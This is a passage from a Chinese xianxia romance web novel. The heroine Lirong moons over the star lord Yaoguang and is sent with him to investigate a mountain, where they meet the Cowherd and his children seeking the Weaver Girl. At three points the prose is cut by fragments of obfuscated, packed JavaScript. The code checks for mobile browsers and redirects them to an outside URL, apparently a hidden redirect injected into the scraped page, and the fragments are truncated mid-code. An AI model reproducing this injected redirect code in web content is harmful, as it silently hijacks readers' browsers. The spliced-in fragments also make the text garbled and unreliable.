璃音也想通了,和他闹别扭又有什么用,一个失了忆的绝情人,再多铁拳,也是打在棉花上,人家只会觉得她莫名其妙,像个情绪难测的疯婆子。 别到时候一不小心,真以为她发了邪性,兴冲冲提剑奔来又要把她给斩了,那就没意思了。 所以还是好聚好散,对大家都好。 看她态度放软,他果然也心情颇好地一牵唇,同时牵起她的袖子:“嗯,走吧。” * 笃笃—— 指节严肃两下敲在桌面的响动,把不知不觉就又走神了的璃音惊起一个激灵。 “今天怎么回事,走神第几次了?” 商止叩过指节,一抽手,抽出璃音装模作样看了半天、也拿颠倒了半天的群山图册,温和的眉眼立时霜肃皱起,不留情面地启唇:“这样的状态,明年考场也不必上了,不如我现在就去跟你师姐说,把你名字划了,你也落个轻松。” “师兄……” 心虚瞥一眼轮椅上一脸端严的男人,璃音讨饶的话在舌尖绕了一圈,终究还是咽了下去。 巫真师姐在为巫师大考的事奔忙,没空监督她,于是派了更为可怕的商止师兄过来,盯着她修习。 不管平日里再怎样温平含笑、跟着巫真师姐宠她,但每到督促她修炼的时候,商止师兄简直都像变了个人一样,严格到一丝不苟不说,那嘴也跟淬了千年寒毒似的,冷冰冰的直戳她心。 到底是曾经的月宫之主,是当年提一柄浮光剑、领着几十万天兵大战云卿的统帅,虽说在昆仑侍花弄草、修身养性了快一千年,连浮光剑也传给了商月,但一个眼神压下来,真真是余威仍在。 面对巫真师姐,任何时候,便是再凶,璃音都敢扑过去撒娇,但对着肃下脸来的商止师兄,她也不是不敢造次,但她觉得,能不造次,还是别造次了。 何况本就是自己理亏。 于是璃音乖乖认错,低眉顺眼把书册转正捧好,重新把视线埋了进去。 唉,还是赶紧努力忘掉某个男人,好好学习吧。 在巫真师姐殿中修习的第一晚,终于就这么苦撑着眼皮,在商止师兄端矜肃穆的无声凝视中,如坐针毡地捱过了。 * 第二日,白天在商止殿中搜刮了一堆灵药灵草,给归岚送了过去,晚上便继续苦哈哈把书一捧,在师兄庄穆无声的死亡凝视下,又心不由己地走起神来了…… 啪! 手背上很快挨了一记打,璃音惊慌一抬眼,果然对上师兄沉黑静默的一双深眸,像暗裹着汹汹暗流的平静海面,她浑身一个激灵,其实心里有点委屈的,但还是立马端正态度,麻溜认错:“我错了,师兄。” 怎么不委屈呢,不是她不想学,自己平时看书学习也不这样走神的,只是…… 对于一个刚经历了重大失恋,哦不,慕璟明“死了”,被摇光杀死了,所以璃音觉得,甚至可以说是经历了挚爱之死的人来说,消沉几天,走个神而已,要求就不要太高了吧! 在巫真师姐殿中修习的第二晚,有惊无险,继续在商止师兄端寂却危险的凝视中,如芒刺背地捱过了。 * 第三日,归岚醒了,趴在她膝头哭了整整一个时辰,璃音并手指天,把毒誓发了又发,说以后每抛下他一次,自己身高就缩矮一寸,才总算把他劝住了。 回到殿中就狂饮了一桶牛乳,听说这玩意喝了能长高,虽说她这个身子,长高几乎是没指望了,但那誓言发得她心慌,管它有用没用,求个心里安慰吧。 一连又过了几天,在她夜复一夜、坚持不懈的走神中,商止师兄终于轻叹一声,轻轻按下她手里拿得颠三倒四的书册,温声问:“怎么了,连着几日都心不在焉的。是回来后身子还没恢复好?” 失恋的人就是这样,别人不关心你还好,这关心一来,酸楚立马跟泄了闸似的,化作滚滚的热流,就直往眼眶奔涌而去了。 不过璃音还是凭借顽强的意志力,愣是把泪给憋住了,她没有在别人面前大哭的习惯,于是努力调整了下呼吸,她看向商止,问出了个大逆不道的问题:“师兄,你和师姐在一起,是谁追的谁呀?” 师兄卸下了督学时的威严,当真温静,兜头被问了个如此猝然冒犯的问题,他也没生气,只是微怔之后,便春风过竹般轻轻一笑。 不愧和商月是亲兄弟,笑起来都有七八分相似,璃音听见他清声笑着,回她:“被你这么一问,回想起来,好像也谈不上谁追的谁,只是随岁月慢慢奔走,自然而然,也不知该从哪一次对视算起,就在一起了。” 然后额心被他伸指轻轻一点:“这话你可不能问你师姐,若是她问起来,就说我告诉你,是我追的她,知道了么?” 师兄还挺懂的,璃音弯眼笑了笑,忙单手做了个拉线封唇的动作:“知道知道,此事保密,绝不外传。” 但没想到师兄懂的还远不止于此,他看她半晌,忽然极轻地笑了一声,问她:“阿横,你是不是喜欢摇光。” 璃音简直吓了一大跳。 但想想被师兄一瞬不瞬盯了这么多晚,自己还有什么心思是他看不穿的,这么多天她一个人憋着,都快憋出病来了,于是干脆放弃挣扎,抿着唇嗯了一声,大大方方地认了。 认完,整个人如释重负似的,上半身就往案上一瘫,软趴了上去:“喜欢又怎么样,神君又不可能喜欢我。” 就看前几日一别之后,这么多天过去了,他有来找过她一次吗? 所以自然而然是别想了,自己不去追他,他又没可能来追求自己,同在岁月里奔走,她却没有师兄师姐的运气,和他,只能随岁月慢慢走散而已。 这大概就是人们常感叹的,有缘无分吧。 没可能就是没可能,她喜欢也没用。师兄应该也是这么认为的吧,璃音听到他一声轻叹,然后温暖的手掌覆上了她的头顶,十足安慰地,轻拍了下她的头。 * 和商止师兄一吐情伤之后,璃音发觉心里松快多了,这晚走进师姐殿中,正想来个悬梁刺股,好好学习一番的时候,居然发现商止师兄也有事不在,于是派了个对她毫无监督作用的督学——商月来了。 璃音今晚是真想好好看会书的。 然而刚看进去两行字,商月就给她案上摆来一盘冰玉葡萄,这葡萄万年才结 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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按以往商月的性格,他接收到这样的信号,就会放开她。 不料这一次,他仿佛不管不顾一般,因她跪坐伏案,他便也屈身下地,更紧地把她拥住了。 这还让不让人看书了!璃音有些恼了,刚要狠下心肠,铆足了劲再推他一把,耳后忽传来了他低低的、抑着泣音般的一句:“阿横,喜欢上了别人也没关系。” 动作一顿,她又听见他说:“钗子是你的,你不喜欢我,就当普通的钗子戴好了。” 他终于放开她,看她有些怔愣的神情,又笑起来,还是那么温柔沁人:“新的一岁,阿横,你要好好的。” 虽然严格来说,于璃音而言,根本再没什么新的一岁,但收到这样的祝福,她还是感念的。 而且听这话里话外,对于自己的拒绝,商月似乎是释怀了,所以他刚才那一抱,大概是想一抱释前缘吧,璃音松一口气,也笑起来:“我当然会好好的。” 拍拍他的肩,又笑:“我们都好好的。” 心情还算可以,但被商月这么一搅,书是彻底看不下去了,每次她稍微沉浸一点,他就又有什么礼物要拿出来,她不知好歹的毛病就又犯了,真的很想大喊一句:你到底还有多少礼物,能不能一次性全拿出来了事! 然而面对这样一心一意只是对你好的人,到底不敢真让他伤心,否则就和有罪似的,璃音只好委婉提了句礼物太多了,不必了,谁知被对方融融笑着回答说,这是他特意安排的,礼物一个时辰送一个,为的就是让她在生辰这日的每个时辰里,都能得到一份惊喜。 今晚这书是注定看不成了。 一个人怎么可以明明话不多,但只是他的存在,就吵成这样! 璃音很想仰头望一眼苍天,然而视线被天花板遮住了,只好又讷讷趴回案上。 趴了一会,支起胳膊肘,把脸一捧,目光不由飘向了窗外灼灼亮着的星杓。 那样灼亮,却那样安静。 和小七一样。 她又在想他了。 据说夜间北斗的每一道星辉,都可以是北斗星君的一道视线。 那她这样看他,他也会察觉到吗? 璃音的脸又朝案上趴了下去。 怎么可能呢,他正在看归岚的几率,都比在看她要大吧! 下次再见面,也不知道会是什么时候了。 * 结果当天天还没亮,璃音就见到摇光了。 那人不知哪里弄出来的一身簇新的青袍,银冠上也不知何时多镶了一把珠玉,全身都讲究起来了,打扮得跟要去哪里相亲似的。 璃音和他并肩立在西王母座下,捏着拳,垂眼默默看着自己鞋尖,听着西王母满脸肃严的问话:“小璃音,怎么我听小摇光说,你有半个月没给他授业了?” 璃音仍旧盯着鞋尖,只是目光默默从自己鞋上,挪到了身边男人崭新绣着银白暗纹的靴面上。 她磨着牙给他传音:“是你给娘娘打的小报告?!” 结果男人压根不理她,只微微抬着他线条凌厉的下颌,留给她一个漂亮又淡漠的侧脸。 “你这小老师当得不到位,引魂铃可是要收回来的。” 西王母坐在上首,指节缓敲了下座沿,无尽的威压随之敲下,璃音立时肃了眉眼,抬起脸来,恭声回道:“半月未曾关心神君身心近况,是小仙疏职,然实是近来小仙闭门修习,不方便将神君带在身边,难免有此疏漏,还望娘娘明鉴。” 倒不是惧了王母刻意摆出来的神威,璃音本想干脆趁机把话挑明,辞了这什么有名无实的小老师,撂挑子不干了的,结果王母居然说要把她的引魂铃收回去,到手的宝贝,那能甘心轻易交出来吗! 璃音咬咬牙,为了引魂铃,她忍! 西王母显然对她这个认错的态度还算满意,但对她闭关不能带人的说辞,看起来就不是那么满意了,她抬袖一挥,一道神音玉令便入了璃音的脑海:“下界惘山有些异动,今就命你带着摇光下界查看,有妖除妖,有邪诛邪,修炼诸事,自有本座去与巫真说明。” 接着又是一挥:“去吧。” 璃音只觉一阵狂风拍背,将她和摇光如两张大饼一般,狠狠拍在了一起,然后风势一卷,便卷着两人,直往下界惘山去了。 身处风眼之中,璃音稳住身形后,气得把男人狠狠一推,抬眼一望,不知是不是错觉,在两人飞卷缠舞在一起的发丝之中,她似乎看见摇光炽亮的眸光垂下,对着她,唇角一勾,说了句:“推什么,不是说想我吗?” 说着,居然咧嘴一笑,像一只皮毛漂亮的、逗弄着眼前猎物的狼。 璃音在风中怔忡地望他。 而他如锋的眉尾峻厉一挑,张扬得要命,也放肆得要命。 151. 第150章 大伯 下界惘山有异动,但那异动究竟是什么?西王母没有明说。 璃音把周身光秃秃的一片山头扫视了一圈,又放出神识探了半晌,山里静悄悄的,还被选作了不知哪家豪贵的陵墓,半点活气也无,除了隔着山脚老远的地方,有个凡人左手携儿,右手带女,背上还摞了一大捆木柴,正嘿咻嘿咻以龟速路过,便再探不出任何动静来了。 收起神识一回身,恰瞧见摇光长身立在山风里,十月秋爽,他眸里也缀两团洋洋爽爽的亮,压根没在探寻什么异动,只是神姿悠闲地立在那,悠悠灼灼地望她。 看得出他今日情绪很高,若身后有尾巴,那一定是傲傲翘起、还悠悠摆着的。 有那么一个瞬间,璃音几乎以为是慕璟明回来了。 自九百年前回来之后,璃音就一直觉得,神君相较于慕璟明,气质里似乎总是少了点什么,现在她明白了,少的就是这份不要脸到极致的自恋。 不过想想也是,有人苦苦思恋自己,换谁知道了这事,心里能不暗爽一把呢,这下可把他给美翻了吧。 谁能想到看个星星会有这么大的风险,隐私荡然无存,连脑子里偷偷想他一下,都能被他知道了去! 真是快怄死。 看见他这副神清气爽的模样就没好气! 额角青筋蹦了下,璃音捺着咬牙的冲动,明明与男人正对着,偏要转过点身子,方便斜眼乜他,仿佛这样方可充分表现出她对他的不悦以及不满:“娘娘点名小仙和神君前来惘山探查,如今一无所获,小仙一筹莫展,神君倒是悠闲得紧。” 被点名批评了,以前还会立马假模假式垂个眼、认个错,甭管他心里有没有真认错吧,反正那乖学生的架势是一定摆到位的。 如今在她面前可不得了,自以为拿捏住了她一点少女心事,装也不装了,眼也不向周围扫一下,只冲她笑得一脸悠笃,神气可恶:“老师静下心来,与学生在此慢慢地等就是,不急,既说异动就在此间,到它该出现的时候,自然便会出现了。” 口中念着老师学生,但看他老神在在的神情,哪有半点尊师重道的样子! 一口气平不下去,璃音忖度着必须得弄个说法,颠倒把昨日看着星星想他的事给圆了。 灵感说来就来:想他就一定得是思慕他,有关风月吗?也可能是逆徒不孝,一看着星星就牙根发痒,想起来要揍他呢。 也是天要助她,绝佳的借口就在眼前,于是少女在山顶迎着山风,一手反撑了腰,壮着声势,望着男人的眸光一沉,脱口就是一句凉凉的质问:“今天什么日子,神君知道吗?” 今天是她的生辰,连慕璟明都不知道,他就更没可能知道。 她总觉得,阿娘不在了,自己再庆贺生辰也就没了意思,所以每到这个日子,除了商月,其实根本就没人当回事,包括她自己。 不过为了刁难对方一下,不在意也硬是装出了十万分在意的样子:看吧,老师的生辰,学生却一无所知,一句恭贺也没有,所以看到星星,就想起学生的不孝来,心里冰冰凉凉的一片,那可不就是想他了吗。 不料男人居然笑起来,走近了些,看她非要偏着身子斜眼看他,又笑着站到她正对面,低下头看她,声音轻缓得像在咬耳朵:“想过生日?” 诶? 他他他居然知道? 璃音讶然抬脸,待看清男人眸底洋洋抑着的笑意,又默默一敛神色,错了下牙,把没撑着腰的那只手掌摊开,理直气壮往前一伸:“神君既然知道,那礼物呢?” 没礼物,那就还是不孝。 反正今天她就不信挫不了他的嚣张得意。 然而没想到的是,摇光闻言一笑,漆亮的瞳仁里映着她装模作样板起来的一张脸,手就往袖中寻了进去,竟像真准备了礼物,要摸出来给她似的。 但手刚摸寻到一半,两人的面色便齐齐一凝,摇光骤然抬眼,璃音也疾转身叩印,一青一蓝两道结界,几乎是同时自两人体内飞速撑开。 青色的淡芒在璃音一人的周身静静流转,但同时,一道冷蓝色的光幕竟毫没商量地闯入、交织进来,璃音有一瞬的错愕,因为很明显,湛蓝的这一道结界,撑起时便是将两人一块笼住的。 但她也没愕然太久,因为很快,她的神思就被眼前更不可思议的一幕占领了。 璃音瞠目抬眼,只见山顶之上,结界之外,半空之中—— 嗖! 一张巨大而完整的牛皮,摊开了身、吃满了风,像一面横放鼓胀的大帆,几乎遮蔽了大半个山头,正在逆着风,直往天上飞! 好家伙,这是真有人吹牛皮吹到天上去了,还是这么大的牛! 也不知它究竟要飞到哪儿去,只见那牛皮越飞越高,越冲越远……然后渐远渐小,就在它已变作小小的一个蚁点,就快消失在璃音的视野中时,蓦地—— 呼! 像帆鼓张到了极限,再往上,狂风如刀,也不知哪一刀,就把密不透风的牛皮猛然割开了一道豁口! 这一下牛皮漏了风,立刻迎风倒卷,呼啦啦,那皮子里似乎包裹着一团什么,颇有分量,被狂风压死在了牛皮里,竟如流星坠地,向着此处山头,狠狠砸落了下来! 只眨眼间,砰! 沙石四溅! 大片灰土扬起。 砸落的地点太近,虽有两重结界护着,璃音还是下意识侧头抬袖,稍掩了下面。 结果自己这边袖子还未放下,就见身侧青袍宽大的袖摆倏地扬展,带起一阵呼啸冷厉的风,向着牛皮砸落的那处,便要拂落。 这动作可不怎么友好。 璃音一惊抬眼,果见男人眸底幽沉,像是掬了一捧寒潭,有拂不开的冷意。 这是恼对方砸起的飞尘碍了他眼,要把人家一袖子扇走? 脾气可真够大的,璃音忙一把拽下他袖子,急声说了句:“别打,那里面有人!” 没错,那张巨大的牛皮里面,裹着一大二小,整整三个凡人! 神识探查到的瞬间,璃音就立马反应过来,这三人应该就是之前她探到过的,在山脚下背着干柴赶路的那一个父亲和他的一双儿女。 摇光拂袖的动作被她拽停,但眸中霜意未散,扬起的手臂还兀自悬在空中,不肯轻易落下。 不过就是不小心摔得近了点,要发这么大的脾气吗? 璃音仔细感应过了,牛皮里的那三个,非妖非邪,就是三个普通到不能再普通的凡人,甚至还有俩小孩呢,他这神威凛然的一袖子下去,不得把人魂魄都给挥残了? 璃音用力,扳手腕似的扳了好半晌,才总算把男人倔强和她拗着劲的胳膊拉了下来。 但看他眼神幽幽淡淡地向自己瞥来,作势还要换只袖子再挥,璃音真是又好气又好笑,一把将他另一只胳膊肘也按下,说他:“和几个凡人置什么气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15228606|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 看他似乎还想反抗,又低低补了两个字:“听话。” 视线缓掠过被她紧紧抓摁在手里的小臂,摇光抿着唇转回头去,没应声说好,但也终于没再动作了。 不情不愿,但还是勉强听话了的意思。 璃音不大敢松手,神君今日情绪高,没准砍人的兴致也高,就还是拽着他,这才有功夫转头仔细打量摔下的三人。 三人全都是遭了老罪,一个个灰头土脸,掉埋在散了一地的柴火堆里,正一面伸手扒脚往外爬着,一面不住地呛咳。 不过他们摔落的地方也真是巧,不是在山巅泥地里,而是不偏不倚,落在了一个圆形的巨大石台之上。 那石台看得出是人工修造的,看造型,像是个祭台,而且有些年头了,台面上刻满了风霜吹打的痕迹,石头缝里都蹦满了草。 台面由一根粗壮的石柱撑着,虽也被年岁侵蚀了,但隐约还是能辨认得出,在那斑驳的柱身之上,盘凿着一圈圈神秘而又古老的刻文。 这下专业对口,璃音来了兴趣,扯着摇光的袖子上前,绕着柱子仔细看了一会,得出结论:“这好像是古法祭旱用的祀典。” 叩指在石柱上敲了敲,又抬头看看高阔的石台,确定道:“这是个祭台,应该是哪任君王修建来暴巫求雨用的。” 身旁的人没有应声,但璃音突然感觉到,男人被她紧抓着的那截小臂下的筋骨,像某种应激,极轻极快地绷了下。 璃音刚想回头看看他怎么了,突然腕骨被他一个反手大力握住,接着向后一拉,整个身子便被他疾扯着倒退一步。 与此同时,哗啦——! 高过头顶的祭台之上,忽然有连片的木柴,向着璃音刚才站立的位置,轰然坠下! 抬头一看,祭台边缘,两只小脚胡乱蹬了出来,看来是小孩胡踢乱挣,把一大把木柴给踹下来了。 接着,男孩细弱的哭腔传来,哭声是会传染的,男孩一哭,女孩也立马哭起来了,两个孩子一面哭,还一面抽抽搭搭喊着:“爹!娘呢,娘是不是不要我们了,不然为什么把我们摔下来,也不管我们……” 而孩子的父亲没说话,璃音猜想可能是被砸懵了。 于是她定住身形,仰头向祭台上的人“喂”了一声,喊道:“大伯,您和孩子们还好吗?需不需要帮你们下来?” 她这纯粹是看大伯生活不易,一个人又带娃又背柴的,出于好心,想帮他一把,不料话音刚落,台上一个悲怒的声音即刻传来:“你喊谁大伯?!” 璃音一愣,旋即一个男人扎裹着布巾的脑袋,就猛地从祭台边缘探了出来。 大伯有着一张麦色健气的面皮,浓眉大眼,相貌挺俊,然那一双圆睁的双目里满是惊怒,视线往台下汹汹一扫,就锁定在了璃音一张愕然的脸上,他与她愤愤对视:“我现年才刚过三十五,正值青春壮年,小姑娘眼神不好就别乱叫人,你见过我这样年轻的大伯!” 璃音:“……” 喊他一声大伯,不过看他有了孩子,按人间的规矩,尊他的辈分,真按年纪来喊,自己喊他孙子都是抬举了! 好心助人,结果莫名其妙挨了顿说,璃音捏了捏拳,默然盯了那大伯半晌,忽然拉帆似的,一手将摇光的袍袖扯起,另一手遥遥一指,指向那位三十五岁但坚决不认自己是大伯的男人,面无表情地道:“我觉得,神君现在可以去把他挥下来了。” 152. 第151章 东施效颦 璃音都发话了,摇光自然照做,宽大的袍袖迎风飘展,向着前方高高的祭台,毫不留情地挥出! 砰! 不是想象中的人影坠落,而是整个威严高壮的石台,连带着下方坚/挺了百年都不曾坍倒的石柱,就在这看似毫不费力的一挥之下,轰然塌裂! 璃音眼皮一跳,她惊骇地察觉,摇光一贯幽淡澈净的眸底,竟就在挥袖而出的那一刻,隐隐熠出了一丝遂意的闪光。 那种深抑其中的称意,就好像……他和那祭台有过什么深沉的旧怨,直到此时,才终于借着方才那一挥袖,发泄掉了长久以来都深埋在心底的一点怒气一样。 漫天石屑飞迸,祭台上三个手无缚鸡之力的凡人,也正骇然惊叫着,坠在周身被击出的乱石尘屑之中,猛然下落! 璃音也来不及训斥摇光出手没轻没重,忙先将一道薄青色的护身结界打出,但青光还未覆上,一面褐色的影子骤然升起,已比她更快、也更彻底地向那三人身上缠裹了上去。 定睛一看,原来是先前那一张巨大的飞天牛皮。 护住了就行,璃音略松口气,这才有空向身边的男人无声瞥去谴责的一眼:怎么回事,不过让你装模作样吓唬吓唬人家,顺便把人带下来,你倒好,直接把整个祭台都给轰了! 然而摇光迎着她的眼神,竟毫无反省之意地一抬眼尾,同时还毫无歉意地来了句:“手滑。” 如此不做作的胡说八道,璃音默了一默,暂时懒得搭理他,决定还是先把眼前事情料理了,至于不听话的坏学生,等会带了回去,再好好教育吧。 大伯和他的一双儿女被裹在牛皮之中,已安安稳稳落了地,璃音一面迈步上前,一面扬手在面前几下轻挥,挥走空中乱扬的尘屑,然后伸出这只手去,把紧裹成蛹的牛皮子一掀,露出里面一张惊惶惶的人脸来。 两个孩子早吓晕了,都不安地蜷着手脚,拱在父亲怀里呢。 璃音抱了胳膊,居高临下看那粗布麻衣、裹着头巾的中年男子,看了会,忽嘻地一笑,开口喊他:“老伯,没摔坏哪里吧?” 身后传来一声轻笑,璃音默默回头乜了摇光一眼,意思是他这笑很有损她想要达到的效果,需得配合她,严肃点,她正给自己“报仇”呢。 她就是这么个吃软不吃硬的倔性子,你若好言好语和她提要求,那三十五岁的大叔有些年龄焦虑、不愿被叫大伯,她也不是不能体谅,改口叫大哥、叫小弟、叫乖孙,都不过顺嘴的事;但你若敢凶她,那就自己把路走窄了,她还偏就一声大伯喊到底,甚至还要超级加辈,把“大伯”升级成“老伯”,心里才算称意。 那中年男子本就被摔得有些发懵,一听自己眨眼功夫就从“大伯”沦为了“老伯”,更是狠狠愣了一愣,但回神之后,他竟也不复适才的嚣张了,而是把目光死死盯去了摇光的脸上,不答反问:“二位是从天上来的?” 语气幽幽的,听来对“天上来的”人,很有些怨念。 璃音的脑海之中,蓦地划过两个孩子从天下坠下时的一声哭喊。 ——“爹!娘呢,娘是不是不要我们了,不然为什么把我们摔下来,也不管我们……” 看来这三位虽是凡人,但孩子口中的“娘”,身份却是不简单啊,会不会就是大伯所怨念的,天上来的人呢? 又觑眼一看三人身下软而坚韧的牛皮,璃音脑中白光一闪,而那男人已自继续幽幽地开口了:“你们的织女娘娘呢,没和你们一起下来?” 这一下几乎板上钉钉了,有种吃到天宫第一大瓜的暗暗兴奋,璃音好奇地重新把男人上下打量了起来。 难道这就是传说中那个让织女娘娘魂牵梦萦,每年艰难一相会,怎么也忘不掉、放不下的男人? 皮相长得确实有几分本钱,眼大眉粗鼻子挺,看得出他在小伙子时,该是个极俊俏的,也难怪织女娘娘能和他瞧对眼。 但毕竟农户出生,常年劳作,兼之风吹日晒,又没得保养,皮肤难免糙了些,眼角也隐隐爬上些细纹了,和摇光那副生了千万年、却半点岁月不染的仙姿玉貌一比,这位才三十五岁的大伯,是真显得有些沧桑了。 难怪年龄焦虑这么严重,一个日日都在老去的凡人,和个芳龄永继的仙女,谈着一场一年只能见一次的异地恋,能不焦虑吗? 也难怪他要用那样幽怨的眼神死盯着摇光的脸不放,一想到在自己遥不可及的天宫之中,娘子整日被这样一群容颜永驻的鲜美男仙环绕,那焦虑可想而知在他脑中爆炸成什么样了…… 想想也是有点可怜,璃音原谅了他之前的无礼,心平气和地道:“织女娘娘执掌织女宫,平日并不得闲外出。” 男人抿了唇不语。 心里对他的身份有答案了,但确认的流程还是要走一下的,璃音问他:“你又是何人,来这山上做什么的?” 静静回头望了眼身后半塌的祭台,男人再转回目光时,像是突然泄了浑身的生气一般,眼底好似死水一片,他恹恹抬眼,道:“小的孙守义,娘子回了娘家,久不归来,我便带了孩子过来,想去寻她一寻。” 说到这,男人抬手望天指了指,补充了句:“我娘子的娘家,在那上面。” 孙守义,没错,果然便是传闻中的那位牛郎了,但璃音有一处不解:“你要上天宫寻人,怎么带孩子来了惘山?” 璃音不清楚孙守义籍贯在何处,但肯定不会是在皇城。 既要上天宫寻妻,牛皮一裹,直接在家门口起飞就是,何必千里迢迢赶来惘山? 孙守义又看一眼身后塌陷的祭台:“我听闻惘山之巅有一座祭台,古有圣女抱薪在此,引天火焚躯,白日飞升,便推想在此处复行此法,该可通往天宫,就带着孩子过来试一试。” 璃音一听立时皱了眉,先不说此法荒诞,他自己非要尝试也便罢了,可他居然带着一双如此年幼懵懂、而又全心依赖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15239637|140064||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他的儿女,也一起来抱薪受焚,疯了吗?! 正欲出声冷斥,身后摇光先冷笑一声,极缓、极清、也极冷地吐了四个字出来:“东施效颦。” 竟是因孙守义对百年前那位圣女拙劣的效仿而生气了,璃音有些讶然地回头看了摇光一眼,联想到他对祭台的怨气,那位曾在此处祭台之上白日飞升的圣女,是他很在乎的人? 没来由地,脑中又闪过他颈间曾被她撞见过的那一抹暧昧红痕,璃音捏握了下指骨,迅速调转开了视线。 也或许,那就是在他颈间留痕的人吧。 虽然文昌说摇光不曾有过眷侣,但帝君不也说了吗,摇光千万年来独来独往,所以他的事,旁人知道的并不多,很多都只是推测,做不得准的。 真与哪位仙子暗渡了陈仓,估摸着也不会有人知道吧。 好没意思! 璃音一下子也有些恹恹的,但公务还是要办,她勉强打起精神,又与那孙守义问了几句。 原来他来惘山竟已有半月了,先是抱着孩子,爬上祭台坐了一天,结果孩子哭闹不休,直到晚上哭累了,他哄孩子也已哄得心力交瘁,困倦得不行,三人往柴火堆里一趴,便就这么沉沉搭了眼皮,呼呼睡去。 一早醒来,山幽寂静,秋风飒爽,祭台还是那个祭台,他在,孩子也在,唯独他辛苦拾来的那一堆柴火,竟是凭空消失了! 清晨微凉的山风一吹,没了木柴遮挡保暖,身上立时被吹起了一层战栗的鸡皮疙瘩,冻出来的。 柴火没了,冷还在其次,却让他怎么复刻圣女,如何飞升? 于是第二日,他又重新捡了柴,然后再一次爬上了祭台,因为拾柴耗费了太多体力,他上台没多久,就又上下眼皮一搭,睡着了…… 次日醒来,又遇到了和昨日一模一样的怪事:柴火没了! 然后又一连几天,皆是如此。 他心里就渐渐有了数:天上一定已经有人知道了,这是在赶他走呢。 可他偏不! 直到今早,他重拾了柴火,乘坐牛皮上山,不想却被一阵天风刮走,刮到高高的云间,然后只得到一声缥缈的天音,便又被重重摔了下来。 那是他娘子的声音,她说:“回去吧,别再让我为难。” 璃音听到这里,已经可以确定,西王母口中的惘山异动,看来指的就是这个不屈不挠、向天宫讨要娘子的孙守义了。 不过对于孙守义这半月来作出的行为,璃音还是有些不解:“按照往年的约定,你们不是应该在七月初七刚见过面吗?十月里又突然这样找她,是有急事?” 祭台遭毁后就蔫了下去的男子,这时重又激动起来,他倏地抬起脸来,眸中愤恚,声音却沉黯:“没有。” “今年的七月初七,她没有来见我。”他深吸一口气,语调平静地道:“鹊桥搭好了,我带了孩子过去,在桥上等了她一天一夜,可她没有来见我。” 153. 第152章 黄脸公 因着去九百年前走了一趟,回来便已是九月了,所以对于缺席的七月间,天上人间发生的大小诸事,璃音都不大清楚。 回身去问摇光,他也不出所料地对旁人之事一概不知。 劝也劝不动,孙守义坚持要上天寻妻的意志坚决,璃音一时有些犯难。 总不能就放任他和两个孩子在山顶静坐,事情总要有个了账。 但这说到底,又是别人的“家务事”,织女不来见凡间的夫君,自有她的缘由,自己也不好贸贸然就把人给人家领过去。更何况仙凡有别,他俩是遭了惩戒的,本就不许在每年七月初七以外的日子相见。 真是比闹鬼闹邪还难办。 璃音思索了一会,终于想出个折中的办法:她给织女宫飞信一封,说明此间缘由,并请求无论如何,都请织女娘娘就在这两日,抽空给她回一封信来。 其实孙守义说到底,不过就是要为七月七那日,娘子爽约的事要个说法。所以其间若有误会,虽不能见面,那也能给封回信,解释清楚,彼此说开,那就皆大欢喜;若果真就是不想见面,那回一封空信,璃音也就明白了,想必孙守义也会明白,该死的心,也就可以死个明白彻底了。 到时回信便当着孙守义的面展开,省得说是她编的。 孙守义听了这个方案,抱着孩子,半晌不语,但眼下也寻不出更好的办法,最后还是勉强点了头,同意了。 回信不是那么快就有的,祭台已毁,复刻圣女飞升无望,再杵在山顶上,能做的除了喝风,就是傻站。 璃音没兴致陪孙守义傻站在这干等,更何况…… 咕噜噜—— 两个可怜的孩子,哪怕在昏迷之中,肚子都在咕噜噜叫个不停,显是这几日风餐露宿地折腾,实在饿得狠了。 璃音不给孙守义发犟的机会,拎着一大二小就下了山,在皇城里找了家客栈,雷厉风行要了两间房,便把三人丢了进去,再板着一张十分叫人不敢造次的霜寒冷面,吩咐孙守义别再给她作妖,就在这儿安分陪着孩子,乖乖等织女的回信。 然后在孙守义果然不敢造次的眼神中,慢慢踱着步,很有威严地踱进了隔壁的客房。 然而…… 门一关,转过身,璃音立刻耷眉枯眼地垮下肩,重重叹了一口气。 拖着无力的慢步在桌边坐下,摇光给她沏的热茶也递了过来,璃音把茶盏接在手里,闻着茶香叹气:“这事难办了。” 看她变脸和翻书似的,一进门,威严的冷面就绷不住了,立马换作了一副“摊上大事了”的神色,摇光不由好笑,也大概猜得出发生了什么:“织女宫的回信到了?” 没错,早到了,还在山上喝风的时候,就到了。 有气无力地从怀中摸出一封灵信,其上七彩华光流转,氤氲点染着信封上“织女宫”三个烫金的大字,显得气派非常,璃音叹着气把它搁去桌面上,努了努下巴,示意摇光来看。 男人展信的姿态清懒,他做许多事时的姿态都是这样,不徐不缓,悠闲懒淡,像风吹不动的山,也像浪掀不动的海。 而自他拿起那封信,璃音就暗暗掀了眼,一面把茶盏送在唇边小口抿着,一面偷眼观察他看信时的神色。 待看到他读过三两行之后,那万年淡定的脸上,也终于渐渐现出微愕的怔凝,璃音这才心满意足收回视线,忍着笑,手中茶盏一倾,满捧茶香入肚,大大饮了一口。 